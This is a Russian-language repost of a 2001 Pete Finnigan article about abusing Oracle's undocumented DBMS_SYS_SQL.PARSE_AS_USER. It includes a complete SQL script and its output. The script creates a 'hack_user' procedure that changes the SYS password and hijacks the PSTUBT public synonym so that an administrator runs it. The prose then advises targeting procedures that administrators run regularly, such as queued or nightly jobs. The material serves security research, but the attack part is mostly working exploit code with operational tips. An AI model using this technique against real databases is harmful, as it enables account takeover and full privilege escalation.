Старое, но полезное от Пита Финнегана - Функция DBMS_SYS_SQL.PARSE_AS_USER

Источник: oraclemaniacs

Этот пакет не документирован, он используется средствами репликации (Oracles Replication Options). Хранимые процедуры в Oracle 7.3 и 8.0 выполняются с правами владельца. Начиная с Oracle8i появилась возможность определения процедур, выполняющихся с правами вызывающего.

Этот недокументированный пакет DBMS_SYS_SQL.PARSE_AS_USER может позволить вам инсталлировать пакеты, которые работают с привилегиями вызывающего, а не с привилегиями владельца. Эта потенциальная "дыра" может быть использована, чтобы заставить администратора выполнять в будущем какие-то операторы SQL. Приведем простой пример:


--
-- dbms_sys.sql
-- Pete Finnigan
-- July 2001
--
-- Test dbms_sys_sql.parse_as_user
--
spool c:\pentest\temp\dbms_sys.lis
connect sys/manager

grant execute on dbms_sys_sql to dbsnmp;
<!--[if !supportEmptyParas]-->
connect dbsnmp/dbsnmp

create or replace procedure hack_user(pname in varchar2,
uname in varchar2,
dbname in varchar2,
flags in varchar2,
rc out varchar2)
as
c1 integer;
dummy number;
begin
<!--[if !supportEmptyParas]-->c1:=dbms_sql.open_cursor;
sys.dbms_sys_sql.parse_as_user(c1,
'alter user sys identified by sys',
dbms_sql.v7);
sys.pstubt(pname,uname,dbname,flags,rc);
end;
/
drop public synonym pstubt;
<!--[if !supportEmptyParas]-->create public synonym pstubt for hack_user;

set serveroutput on size 100000

declare
dummy varchar2(40);
begin
pstubt('hack_user','',null,'8',dummy);
dbms_output.put_line('dummy is :'//dummy);
end;
/
connect system/manager
declare
dummy varchar2(40);
begin
pstubt('hack_user','',null,'8',dummy);
dbms_output.put_line('dummy is :'//dummy);
end;
/
connect sys/sys
  

Запустив этот командный файл, получим:


<!--[if !supportEmptyParas]-->Connected.

Grant succeeded.

<!--[if !supportEmptyParas]-->Connected.

<!--[if !supportEmptyParas]-->Procedure created.

drop public synonym pstubt
*

ERROR at line 1:
<!--[if !supportEmptyParas]-->ORA-01432: public synonym to be dropped does not exist

<!--[if !supportEmptyParas]-->Synonym created.

declare
*

ERROR at line 1:
ORA-01031: insufficient privileges
ORA-06512: at "SYS.DBMS_SYS_SQL", line 1137
ORA-06512: at "DBSNMP.HACK_USER", line 12
<!--[if !supportEmptyParas]-->ORA-06512: at line 4

ERROR:
<!--[if !supportEmptyParas]-->ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.

<!--[if !supportEmptyParas]-->Connected.

<!--[if !supportEmptyParas]-->PL/SQL procedure successfully completed.

Connected.

Как видите, здесь есть одно главное ограничение - вы должны иметь привилегию для выполнения пакета DBMS_SYS_SQL. Вполне резонно найти способ получения такой привилегии или базы данных, в которой такая привилегия уже имеется. Как видно из данного контрольного примера, можно создать процедуру, которая изменяет пароль пользователя SYS (можно изменять пароли любых пользователей или создавать пользователей, или предоставлять им привилегии DBA ), и все это можно делать из схемы пользователя DBSNMP . Однако это пока ничего не значит для нас, так как пользователь DBSNMP все еще не имеет права изменять чьи-либо пароли, кроме своего.

Решение проблемы фактически заключается в том , чтобы заставить пользователя SYS или другого администратора выполнить для вас эту вашу новую процедуру. Мы поискали в DBA_OBJECTS процедуры, принадлежащие пользователю SYS и нашли PSTUBT, которая еще не имеет публичного синонима, а затем создали публичный синоним PSTUBT, указывающий на нашу новую процедуру HACK_USER. Эта процедура выбрана только в качестве примера, в идеале вы должны найти процедуру или функцию, которая регулярно выполняется администратором.

Наша процедура вызывает DBMS_SYS_SQL.PARSE_AS_USER для выполнения фрагмента кода, а затем вызывает оригинальную процедуру, принадлежащую SYS . Это означает, что мы должны обеспечить соответствие параметров нашей процедуры параметрам существующей процедуры. В данном случае пользователь DBSNMP имеет право выполнения процедуры, принадлежащей SYS . Если это не так, то не вызывайте оригинальную процедуру, поскольку ошибки доступа могут быть зарегистрированы.

Для любознательных: процедура PSTUBT была добавлена для Oracle Forms 3 и 4 и вызывалась во время компиляции кода форм для проверки вызываемых в сервере функций, процедур и пакетов PL/SQL. В Oracle Forms 3 и 4 еще использовался PL/SQL версии 1. Эта процедура создает фиктивную заглушку ( stub ), чтобы компилятор форм мог синтаксически проверить код формы. Если вы еще используете Oracle Forms 3 и 4 и иногда компилируете от имени администратора, проблема остается открытой.

Ключевым моментом данной попытки взлома является поиск процедуры, которая регулярно выполняется администратором, в идеале это могут быть задания, находящиеся в очереди заданий, или ночные пакетные задания. Нецелесообразно выдавать привилегии выполнения пакета DBMS_SYS_SQL пользователям, которые создают процедуры и помогают другим пользователям выполнять то, что они требуют.

Страница сайта http://www.interface.ru
Оригинал находится по адресу http://www.interface.ru/home.asp?artId=22779